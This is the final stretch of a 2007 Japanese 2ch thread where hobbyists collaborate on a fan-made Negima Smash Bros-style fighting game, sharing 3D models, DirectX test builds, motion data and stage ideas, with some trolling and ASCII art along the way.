>>朝倉さん
テスト頑張ってください。社会に出れば今までやってきた勉強は必要ないよなー。
って思っていたら痛い目にあいます。社会に出たら本当に勉強の大切さがわかります。
もっと国語と英語と数学の勉強しとけばよかった…。プログラマーになりたいのならぜひに。
あと、物理も。英語がかなりいいよ。英語。リファレンスそのまま読める。

まとめですか。実は自分も長文ほとんどよんでなかったのでそのときに出てきたのかな?
どちらにしろ頑張ってください。何を頑張るかは解りませんが。
よろしければ何かプログラムやってみます?色々作るのあるので暇になったら色々依頼したいかもー。

他にも俺こんなこと出来るんだぜ!って方いらっしゃらないかなー?
インターフェース周りとか作ってくれる人とか。(数字の画像等など)
あとBGM。実はもうmp3再生できるので。mp3がキライなら別に何でもいいけど。

テストプログラムもうちょっと待っていただきたいです。

943 :名前は開発中のものです。:2007/02/13(火) 23:56:38 ID:BiU1MgzI
みんなの怒りを僕がうけとめるお!
叩いていいお!蹴っていいお!それで怒りが静まるなら・・・
安いもんだお・・・・

       /⌒ヽ
      (^ω^ )
     O^ソ⌒とヽ
     (_(_ノ、_ソ


944 :名前は開発中のものです。:2007/02/14(水) 00:37:25 ID:SqRjnDYo
                   _ _     .'  , .. ∧_∧
          ∧  _ - ― = ̄  ̄`:, .∴ '     (    )
         , -'' ̄    __――=', ・,‘ r⌒>  _/ /
        /   -―  ̄ ̄   ̄"'" .   ’ | y'⌒  ⌒i>>943
       /   ノ                 |  /  ノ |
      /  , イ )                 , ー'  /´ヾ_ノ
      /   _, \               / ,  ノ
      |  / \  `、            / / /
      j  /  ヽ  |           / / ,'
    / ノ   {  |          /  /|  |
   / /     | (_         !、_/ /   〉
  `、_〉      ー‐‐`            |_/

945 :名前は開発中のものです。:2007/02/14(水) 01:02:44 ID:Tsvv28uz
   パーン _, ,_  パーン
パーン_, ,_  ( ・д・)  _, ,_パーン
  ( ・д・) U☆ミ (・д・ )
   ⊂彡☆))Д´>>943 ☆ミ⊃  パーン
    , ,∩彡☆ ☆ミ∩, ,
  (   )  パーン (   )
 パーン      パーン

946 :名前は開発中のものです。:2007/02/14(水) 01:31:00 ID:SYTUp8Mo
            _∧_∧
        / ̄ ( ・∀・)⌒\  
   __    /  _|     |   |
   ヽヽ   /  /  \    |   |           ,,,,,,,iiiiillllll!!!!!!!lllllliiiii,,,,,,,
    \\|  |____|   .|   |           .,llll゙゙゙゙゙        ゙゙゙゙゙lllll,
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                        `ヽ、,,_ノ|               |
                              ゙゙!!!,,,,,,,,       ,,,,,,,,,!!!゙゙
                                   ゙゙゙゙!!!!llllliiiiiiiiiilllll!!!!゙゙゙゙
                                /.// ・l|∵ ヽ\  ←>>943

947 :名前は開発中のものです。:2007/02/14(水) 15:26:38 ID:idxH/2Rb
伺かスマッシュのネギま版を作ってるわけかい
伺かスマッシュのキャラ制作で作るのは無しなの

948 :名前は開発中のものです。:2007/02/14(水) 21:31:25 ID:Tsvv28uz
>>947
うむ、頑張りたまえ。
期待してるよ。

949 :名前は開発中のものです。:2007/02/14(水) 22:24:39 ID:7Duu1wpS
>>947
応援してるぜ

950 :名前は開発中のものです。:2007/02/14(水) 22:26:58 ID:+mLoDCwq
製作がんばって下さい。
生暖かい視線で見てます。

951 :鴨ネギ ◆ZIgwiw50Hk :2007/02/14(水) 23:57:15 ID:hGBCn+1N
こんばんわ。無能で勤勉の鴨ネギですw

>>シチミ氏
スミマセン;;;スマブラの仕様理解してなかったです。スマブラは64版発売
時に2〜3度触らせてもらった程度で殆どやった事ないんです。たしかGC
版が発売になっていたはずと思い中古ショップを見てきたんですが、見事に
売ってませんでした。このあとヤフオクも見てみるつもりですw
あ・・・テスト版楽しみにしてます。

一応作業報告を。結局mikotoでモーション作成を始めてみました。なにやら
mikotoのデータをXファイル形式で出力できるソフトがあるらしく、とりあ
えず作業に慣れておこうかと思いまして。で一応立ちと座りを作ってみたの
ですが、なんだか足元がしっかりせずバタバタした感じになるんですよね。
骨の位置は合わせてるつもりなんですが・・・う〜む、難しいっす。
という事でデータUPしておきます。そうそうなんかモデルのバランスが微妙
だったので修正しました。頭のサイズはそのまま、体は70%にしてあります。

http://gamdev.org/up/img/8929.zip

まぁそんな感じで。

952 :モツ ◆HhGCy3jtaE :2007/02/15(木) 00:01:22 ID:134E1ov1
ttp://gamdev3.hp.infoseek.co.jp/cgi-bin/up/No_0124.jpg
連休はゆっくりと過ごさせて頂いたので、製作はあまり進んでいない
だが、とりあえずリダクションを済ませて581三角ポリゴンまで絞った
デザイン上、毛髪にかなりのボリュームが必要になりそうなのでまだ微妙だが

また、ベースの肌色テクスチャを貼ったのだが
最近モニタが変わり、色味にイマイチ自身が無い
赤、黄、橙色のいずれかの色味が強すぎる様に感じたら教えて欲しい

>>シチミ氏
キャラ単体へのズームは必要ないんじゃないか?
対戦時、キャラが密集時にズームイン、間合いが離れればズームアウトというのは
以前のバージョンでも実装されているから問題ないはず
シチミ氏が実装したいのなら止めないが、大変そうなら切り落としてもいい部分だと思う

953 :シチミ ◆pBwYa/I7TY :2007/02/15(木) 01:19:46 ID:MDYOw+N2
自分もキャラ一人だけズームアップ、必要性を作っているときから考えてた。
カメラワークの注文で一応作ったのだけど、必殺技とかでアップっていいのかなー?って。

それで考えていて、思いついた。
勝ったときにアップ、またはフィニッシュのとき(最後の一対一で無条件場外にふっとばす時等)
のときにアップするのはどうだろう。っと。
って事で実装してみた。まあ、もう作っちゃったし、いらなきゃその命令使わなきゃいいだけだし。
あるにこしたこと無い!って事です。

鴨ネギさんのは鯖死んでるみたいなのでちょっと保留で。
ちなみにテストプログラムは動作確認用なので。
おそらく、ConvertToIndexedBlendedMeshが失敗するビデオカードがあるみたいなので。
コレ使わない奴をサンプルプログラム見ながら組み立てているところ。上手くいかないけど…

954 :名前は開発中のものです。:2007/02/15(木) 05:14:43 ID:AgJiMYG0
キモヲタゲーム晒しage

955 :名前は開発中のものです。:2007/02/15(木) 09:01:19 ID:fTS5NSl/
前から気になっていたんだが、毎回否定的なのがムカつくなモツ


956 :名前は開発中のものです。:2007/02/15(木) 12:06:44 ID:3+bDfRsI
>>954-955自演スタッフ乙

957 :鴨ネギ:2007/02/15(木) 13:35:19 ID:fTS5NSl/
おつかれ自演スタッフです
俺も含め無能なスタッフばかりなので完成することはないでしょう


958 :ダル痴。:2007/02/15(木) 15:02:04 ID:W8EHC23B
自演乙。
裏の裏で、実は本当にスタッフの自演なんだろうね。

959 :名前は開発中のものです。:2007/02/15(木) 15:33:53 ID:id8QKeSc
せっかくいい流れになったのにお前ら荒らすなよ
俺は非常に楽しみにしてるんだからよ
これで製作者たちのやる気が削がれなければいいんだけど・・・



960 :シチミ ◆pBwYa/I7TY :2007/02/15(木) 15:49:25 ID:zz91cqQN
>>918さん
テストプログラム。
っというか、別の表示プログラムです。

コレで駄目なら、DirectX9の奴でテストしていただきたいです。
DirectX8を切り捨てる覚悟です。
まあ、開発面だけなので、やる分にはアップデートするだけで大丈夫……かな。

http://gamdev.org/up/img/8930.zip
解凍後、NEGI.exeと同じ階層にTEST.exeをコピーしてTEST.exeを実行してみてください。
モツが表示できたか出来ないかだけでいいのでご報告おねがいいたします。
なお、キー操作などは出来ません。バグとかじゃないです。

>>鴨ネギさん
どうやって見るか解りません。ミコトDLしたんですが…。


961 :モツ ◆HhGCy3jtaE :2007/02/15(木) 20:04:28 ID:tEW4+GX3
所詮は2ch、普段はスレの流れなどあまり気にしないのだが
よくよく考えてみれば、荒れた時にしか活性化しないスレというのも侘しいものだな

>>シチミ氏
レスにバグ取りが大変と書いてあったので発言してみたが
氏にとって問題ないなら構わないし、しばらくはこちらから是非にお願いする事は無いと思う
無理せずにプログラムを進めて下さい

962 :鴨ネギ ◆ZIgwiw50Hk :2007/02/15(木) 20:32:46 ID:iKSgThKF
鴨ネギです。どうやら俺と同じ名前の人が来ていたみたいですねw
俺もちょっとは有名になったな♪みたいな

>>シチミ氏
えっと・・・mpoファイルを開いて、赤い箱のついた「ネギ2.mpo」で
右クリック。インポートを選んで「negi2motion.mkm」を読み込むと
基本姿勢と座りってのが表示されると思うんです。あとは其々を選
べば動くと思うんですがどうでしょう?バタバタしてますが見てや
って下さい。

それと・・・まだ使ってないんですが一応ココのページも紹介しておきます。
http://rogiken.org/vr/index.php?Mikoto2X

それではプログラム頑張ってください。
俺ももうちょっとバタバタしないようにいじってみます。

963 :モツ ◆HhGCy3jtaE :2007/02/15(木) 20:40:53 ID:tEW4+GX3
ttp://gamdev3.hp.infoseek.co.jp/cgi-bin/up/No_0125.jpg
手土産が何も無いのもどうかと思うので、例の手抜き背景用素材候補をUP
三角ポリゴンで1400位、3D状態で使うならリダクションが必要になるだろう

ところで背景は、平面状のものを奥に置き、足場等を手前に置いた2層構造で良いんだろうか?
それとも、俯瞰、見下ろし視点といった立体的な背景にするんだろうか?

964 :鴨ネギ ◆ZIgwiw50Hk :2007/02/15(木) 23:52:57 ID:iKSgThKF
背景の話題が出たのでちょっと質問を。

自分はスマブラ経験が少ないのでよく判らないのですが、基本的な対戦ステ
ージは空中(画面から落ちる部分がある感じ)で多段階構造なんでしょうか?
こういう構造だった場合、ネギまで対応できそうな背景ってどの位あるんで
しょう?落ちるという事を考えると武道会会場とか3巻でエヴァ&茶々丸と
戦った女子寮の屋根の上とか、最新巻の飛行船の上とかでしょうかね?
また妄想とか書かれそうだけど、スマブラのシステムで組むとしたらステー
ジの設定も限定されてくるでしょうしこの辺も考えておいた方がいいんじゃ
ないかなと。

965 :名前は開発中のものです。:2007/02/16(金) 00:42:33 ID:XC+aNEvM
図書館島とかエヴァの別荘とか?

966 :シチミ ◆pBwYa/I7TY :2007/02/16(金) 18:38:12 ID:f58rhD+p
まだプログラム進んでません。
当たり判定とか、簡単なの作っちゃおかなー。
2Dのでなんだか代用できそうな予感がするけど…
ポリゴンの交差の演算とか厳密に計算するような事しなくても、このゲームなら見た目の2D判定だけでよさそうだ。

>>モツさん
今のところバグ取りするまでも無いですよー。
デバックはゲームがある程度できて遊べるくらいの時にしないと表面に出てこないのとかありますから。
背景に関してはまだ悩み中。
3Dにしちゃえば楽なんだろうけど、重くもなりそうだしねー。
階層に関しては何階層でもいいけど、目安は2〜3位かな?
手前の足場等、背景、それよりも奥(空とか、山とか)


鴨ネギさんのネギ2、ミコトでの動作見ましたー。
いい感じに動いてた。ただしゃがみの時だけど、足が上に動きますよねー。
まあ、重力計算毎回してれば問題ないし、またはモーションごとに位置修正するようにすればいいんだけどね。
まあ、現状浮いちゃうよって事。
めんどい。ということならこちらで上記の方法でなんとかしちゃいます。
Mikoto2X出来なかった。
自分は。
ソースもついてきたみたいだし、ざっとよんで見ようかなー。
暇ができたら。

背景は、エヴァと戦った橋とか、京都とか、探せば色々出てくると思うよ。
スマブラに確か下に落ちないステージとかあったはずだし。

>>918さん、ご報告お待ちしております。

967 :鴨ネギ ◆ZIgwiw50Hk :2007/02/16(金) 20:02:10 ID:mqk5gyiI
こんばんわ、鴨ネギです。

>>シチミ氏
ヘボヘボな動作ですが見れてよかったですwコマ数(設定している場所?)が
少ないとそこまでの動きを均等に割ってしまうらしくあんな感じになってしま
うんですよね;;;一応設定したコマの骨の位置は合わせているつもりなんですが
やっぱり難しいですね。とりあえず新しいモノ(モーションデータのみ)をUP
しておきますのでまた見て頂ければと。それと自分も一応試してみたのですが
出来ませんでした<Mikoto2X もうちょっとサイトの方を読んで理解してから
挑戦してみます。この辺のフリーソフトが使用できるかどうかで今後の新規参
加者の敷居の高さも変わってくると思うし・・・。という事で、データです。

http://gamdev.org/up/img/8938.zip

ステージに関してですが、落ちないステージもOKなら色々出来そうですね。
それと・・・ちょっとキャラクターの制作方法についてお聞きしたい事もある
のでメール頂けませんでしょうか?アドレスはne#gi_3#d@ya#hoo.co.jp(#を
消してください)です。

それでは

968 :モツ ◆HhGCy3jtaE :2007/02/16(金) 23:29:53 ID:LaR2GHk4
>>シチミ氏
背景はとりあえず2D格闘と同じ様な作りで良いと理解した
おいおい作っていこうと思う

それとエフェクトについて、手をつける前に聞いておきたい
あくまでこちらの知識で述べるが、エフェクトは半透明画像を乗せるか
アルファで必要部分のみを抽出して表示するかのどちらかだと思う

DirectX8に関する文章をネットで検索し、ざっと読んでみたが
半透明オブジェクトの使用、アルファ画像が重なる状態は不味いといった記述があった
前者の使用については未使用にするとしても、後者はキャラやアイテムにアルファを使用する事を考えれば
当然起こりうると思うのだが、問題は無いのだろうか?

現状では、キャラ本体にはアルファ画像を使用せず、使用する際は別オブジェクトとするようにしているが
エフェクトやアイテムについても、その位の心がけで良いのだろうか?

実際に手がけるまでは少しばかり先になるかもしれないが、あらかじめ知っていれば作り易いので
軽くレクチャーして頂けると助かる

969 :シチミ ◆pBwYa/I7TY :2007/02/17(土) 00:31:57 ID:Ji6VBgq7
表示する順番さえちゃんとすれば大丈夫です。

後ろにあるものを先に表示して手前の物を後に表示する。
たとえばビーム見たいな半透明のポリゴンを表示を先に表示して、
当たったエフェクトをアルファ画像のテクスチャを後にして、半透明ポリゴンより手前(カメラに近い方)に表示すれば
問題ありません。

逆にアルファ画像の方が後ろに存在する場合はこっちを先に表示するだけです。

他に解らないことがあれば気軽に質問してくださいー

970 :918:2007/02/17(土) 16:04:33 ID:sdRloiBQ
>>シチミ氏
できました。感動です!!
こんな感じです↓
ttp://vista.jeez.jp/img/vi7169583966.jpg

971 :名前は開発中のものです。:2007/02/17(土) 17:18:42 ID:DnJVaCKs
>シチミ氏
これ参考にならない?
「GeForce2 MX を付けたマシンでConvertToIndexedBlendedMeshの所でメッシュの生成に失敗」
ttp://www.twin-tail.jp/cgi-bin/program_bbs/treebbs.cgi?kako=1&log=662

972 :名前は開発中のものです。:2007/02/17(土) 19:43:39 ID:ces2ET1U
http://tv10.2ch.net/test/read.cgi/ainotane/1170691500/871

テレビ東京夕方アニメの視聴率。ネギまがダントツの最下位。
01 *5.7 きらレボ
02 *4.9 ケロロ
03 *4.8 銀魂
04 *3.0 遊戯王
04 *3.0 Dグレ
06 *2.3 NARUTO(再)
06 *2.3 妖逆門
08 *2.0 ファイテンション
09 *1.6 アインシュタイン
10 *1.3 ネギま

973 :名前は開発中のものです。:2007/02/18(日) 09:56:13 ID:8Wz/TMjl
きらレボ1位なのかwww

974 :モツ ◆HhGCy3jtaE :2007/02/18(日) 11:01:44 ID:6t2mMSYz
>>シチミ氏
お返事ありがとう
こちらも色々試した結果、テスト段階だがモーションの共有がうまくいったので、後に結果をUPする

また、追加の質問で申し訳ないのだが
アルファの問題を回避する際に、LW側で別レイヤーにする等の手段で対応できない場合
個別のXファイルで出力することになると思う
出力時、LWS内で配置した複数の要素の位置情報は正確に再現されるのだろうか?

例えば、「キャラ」「髪」「武器」等を別々のファイルで書き出した時に
位置情報が変わってしまうと非常に不味い事になってしまう
出来ればその辺りもお聞かせ願いたい

975 :名前は開発中のものです。:2007/02/18(日) 12:38:08 ID:1ggbhDpu
きらレボの主人公の声がモー娘だからじゃね?

976 :鴨ネギ ◆ZIgwiw50Hk :2007/02/18(日) 20:42:31 ID:8rLJu2Xd
こんばんわ、鴨ネギです。
とりあえず微妙にですが進めています。なんかテクスチャーがうまく
いかないんですがどなたか良い方法知りません?カラー変更の事を考
えて変更する色を単色にしてみたんですけど、そうすると黒線がブツ
ブツ切れるんですよね;;;まぁそんな感じでUPしておきます。

http://gamdev.org/up/img/8962.zip

Xファイル出力は・・・そのうち頑張ります。
それでは。

977 :モツ ◆HhGCy3jtaE :2007/02/18(日) 21:38:43 ID:6t2mMSYz
>>976
悪意があると思われるのを覚悟で助言するが
「黒線がブツブツ切れる」で理解するのは難しいと思うがどうか?

表示関係でうまく行かない時にありがちなパターンを挙げてみた
1.ポリゴンの表裏が逆になっている
2.三角分割をしていない
3.見た範囲では隣り合った状態のポリゴンが、データ上では切り離され繋がっていない
4.テクスチャの貼付けをUV以外の形式で行い、その状態のままポイント移動等を行った

上記以外の場合はメタセコイア固有の手順ミスか、グラフィックカード関係を疑ってみた方が良い
ちなみに自分はメタセコイアを扱えないので他の方を当たってくれ

978 :名前は開発中のものです。:2007/02/18(日) 22:12:36 ID:7yHeol03
>>976
改行位置が変で読み辛い
縦読みでも仕込んでんのかと

979 :鴨ネギ ◆ZIgwiw50Hk :2007/02/18(日) 22:13:46 ID:8rLJu2Xd
鴨ネギです。
えっと・・・自分の説明が悪かったみたいですね。
カラー変更を考えて服に使用しているテクスチャーを修正したんです。で
襟元などを黒のライン(1ドット)で書いたのですが表示が上手くされま
せん。もっと詳しく書くとメタセコイア上で表示する際はきちんとドット
表示されますが、Mikoto上では上に書いたとおり線がブツブツと切れた状
態で表示されます。どちらのソフト上でもきちんとラインを表示したいの
ですがこの辺をわかる方いらっしゃいますか?って感じで。

>>977
悪意があるように取れますね。どこがかを詳しく書くとまた荒れた発言
だと言われそうなので控えます。とりあえず
ポリゴン表示が裏表逆になっていたら表示されないと思うのですが・・・
三角化は始めからしていないので関係ないって感じかな。
3番はテクスチャーに関係しているのかすらよく判りません。
貼付けはUV以外で設定していないのでこれも関係ない感じです。

まぁそんな感じですかね。

980 :鴨ネギ ◆ZIgwiw50Hk :2007/02/18(日) 22:19:21 ID:8rLJu2Xd
>>978
こんな短い文章で読みづらいですかw
ぢゃあ次からは横に長くなってもダラダラと書くようにします。

981 :名前は開発中のものです。:2007/02/18(日) 22:25:00 ID:SvOcWUzL
もう荒らすなよ
とりあえず自分だけでゲーム作ってみたら?

982 :名前は開発中のものです。:2007/02/18(日) 22:47:13 ID:mNfHo8g1
鴨ネギ、データUPしてるだけじゃん
なんつぅか私怨厨多くねぇココ?


983 :名前は開発中のものです。:2007/02/18(日) 23:14:08 ID:LzZ8zy6e
>979
レンダリングエンジンての?で表現がちがうのでは
メタセコにもGLとかDIRECTXとか表示方法選択できるじゃない。
うちではミコトで襟の黒い線も表示できたよ
ミコトで表示が違っても、シチミ氏がメタセコと同じように
アンチェリをかけてくれればゲームではOKなのだし。

それよか他の女キャラとかどんどん作ってった方がいいような
女キャラのが大変でしょう。
前のスレでゲーム上がってたけど、その金髪のキャラ流用
したりできないのかな?

984 :モツ ◆HhGCy3jtaE :2007/02/18(日) 23:59:17 ID:6t2mMSYz
>>979
多分、理由は三角ポリゴン化してないせいだろう
試しに三角化してmikotoに持っていけば解決すると思う

相当なポリゴン数で表示させるなら別だが
四角ポリゴンは角度によって、非平面と認識される時がある
つまりレンダリング時に表示されなかったり、表示が歪む場合があるという事

それとアニメーションさせようとする際
UVを使っていないというのもかなり怪しいと思う
初心者には面倒な貼付け方式かもしれないが、万人が使っている事には理由がある

また、住人のアドバイスが気に入らなければ
メタセコのスレがCG板にあるので、そこで聞けば良いだろう
答えはあまり変わらないと思うが

>>983
恐らく、上記で挙げた単純なミスだろうし
スムージングを掛けても改善するとは思えない
動かした際にカクカクしているというのも、同様の理由のはず

それと97氏の作ったエヴァは、確か公開されていなかったと思う

985 :名前は開発中のものです。:2007/02/19(月) 00:06:01 ID:HKBazrXX
>>980
改行位置を工夫する考えには至らないのですかと

986 :モツ ◆HhGCy3jtaE :2007/02/19(月) 00:08:01 ID:TbDSWAr+
連レスで申し訳ない

UVは使っているのか、早とちりしてすまない

3番目はポリゴンが切り離されている部分があるかもしれないという事
ポリゴンをコピー&ペーストなどをした時に起こり、見た目では判断しずらい時がある


また、そろそろ限界なので寝ようと思う
モーション実験の結果は明日UPし、2Dモツ素材も仕上げ次第順次UPしていこうと思う

987 :鴨ネギ ◆ZIgwiw50Hk :2007/02/19(月) 00:27:49 ID:EnzZBUKg
>>983
レスありがとうございます。ウチも別のMikotoで表示したらきちんと(?)表示されました。
元々使用していたのが「04c2」というバージョンのモノで、新しく入れたのは「04f」というバージョンです。
そうそう・・・「04c2」が使いやすいとどこかのサイトで紹介されていたので使ってみたのですが
新しく入れた「04f」では設定していたモーションがまったく動いてくれません。
mikoto2XでXファイル化できないのも使用しているバージョンが古い(?)からなのかもしれませんね。
まだ何にも調べてないんで判りませんが・・・。
他のキャラは・・・一応のどかを作ってはあるんですが、まだテクスチャーも描いてない状態です。
前に公開したものは上半身裸だったのですが、一応制服は着せました。まぁのどかの方はネギがうまく行ってから
考えようかと思います。

それでは

988 :名前は開発中のものです。:2007/02/19(月) 21:36:47 ID:XYW1uzcZ
ステージについて、使えそうな場所をあげてみた

学園都市 高い屋根の上がステージ。地面はギリギリ見えない。
 屋根ごとに傾斜が違って戦いにくく、建物と建物の間に落ちると復帰は困難。
エヴァの別荘 広くて平坦な、戦いやすいステージ。
 転移魔法陣と別荘の間の橋を足場と見なさないなら、端っこに離れ小島ができる。
リョウメンスクナ 鬼の体(頭の上?)がステージ。
 狭くてデコボコで、戦いにくいことこの上ない。
図書館島・地下 本棚の上から滝が落ちるステージ。
 多段構造になっているので移動範囲は広い。
図書館島・メルキセデクの書の間 ツイスター盤の上がステージ。
 背景にいるゴーレムも足場になると考えれば、面白いかも。
学園都市上空・飛行船 超とネギが戦っていたステージ。
 空中にホウキを足場として配置したり。
電脳空間 千雨がダイブしたネット内をイメージしたステージ。
 浮いている足場をでっち上げやすいんじゃないだろうか。
闘技場 武道大会のステージ。ある程度水中に沈んだら落下と見なされる。
 クウネルの本を飛ばして足場にしたり、やりようはあるはず。
野外ステージ ヘルマンと戦ったステージ。地面なので落ちない。
 屋根の上をもうひとつの足場にすれば、かなり広い。

まぁ、ひとつの案として

989 :名前は開発中のものです。:2007/02/19(月) 23:29:35 ID:00afAKUI
シチミ氏に伺いたいのですが、mikotoのデータってどうやって
プログラムに読み込んで使うのでしょうか。ググったらmikotoの
データはクセがあって使いにくいってありました。
やはり、モーションをひとコマづつxファイルで出力して
パラパラアニメふうに処理するのでしょうか

990 :989:2007/02/20(火) 14:22:16 ID:PHo9zsqJ
シチミ氏は>>754を参考にしてるんですね
使用する言語は自分もVC6かBCCになりそう。
ライブラリをどうしようかなあ
一応候補はirricht、UDX、SympleXと探し中。

考えたんですけどエヴァの髪の毛どうしようかと・・・・・
やっぱ自分はボーンじゃなくパラパラアニメにします
もし組み始めるとしたら、です。それ考えると前スレ97氏は
すごかったなぁ

991 :名前は開発中のものです。:2007/02/21(水) 00:52:15 ID:3ILhfN33
とりあえず立ててきた

ネギま!の格ゲーを作るスレ3
http://pc10.2ch.net/test/read.cgi/gamedev/1171986684/


992 :シチミ:2007/02/21(水) 10:48:23 ID:2MdlSVe4
携帯で失礼します。
風邪を引いてしまいました。
今週はちょっと無理そうです。
ご迷惑をおかけします。申し訳ございません。

993 :名前は開発中のものです。:2007/02/21(水) 16:01:26 ID:PxMFgxfB
お、逃亡フラグが立った

994 :名前は開発中のものです。:2007/02/21(水) 18:18:25 ID:9cMWy9Mm
素数を数えて落ち着けって

995 :名前は開発中のものです。:2007/02/21(水) 19:58:59 ID:RUhyvD3+
1 2 4 8 16 32 64 128 256 512 1024 2048 4096 8192 16384 32768 65536

996 :名前は開発中のものです。:2007/02/21(水) 20:02:00 ID:IzSotq1E
B現実は非情である

997 :名前は開発中のものです。:2007/02/21(水) 20:31:06 ID:p3jUalpN
ネギま!の格ゲーを作るスレ3
http://pc10.2ch.net/test/read.cgi/gamedev/1171986684/

998 :名前は開発中のものです。:2007/02/21(水) 20:43:07 ID:VEF8objQ
ume

999 :名前は開発中のものです。:2007/02/21(水) 20:49:53 ID:8ULEvWAc
1000

1000 :名前は開発中のものです。:2007/02/21(水) 21:02:45 ID:PxMFgxfB
1000ならダル痴。復活

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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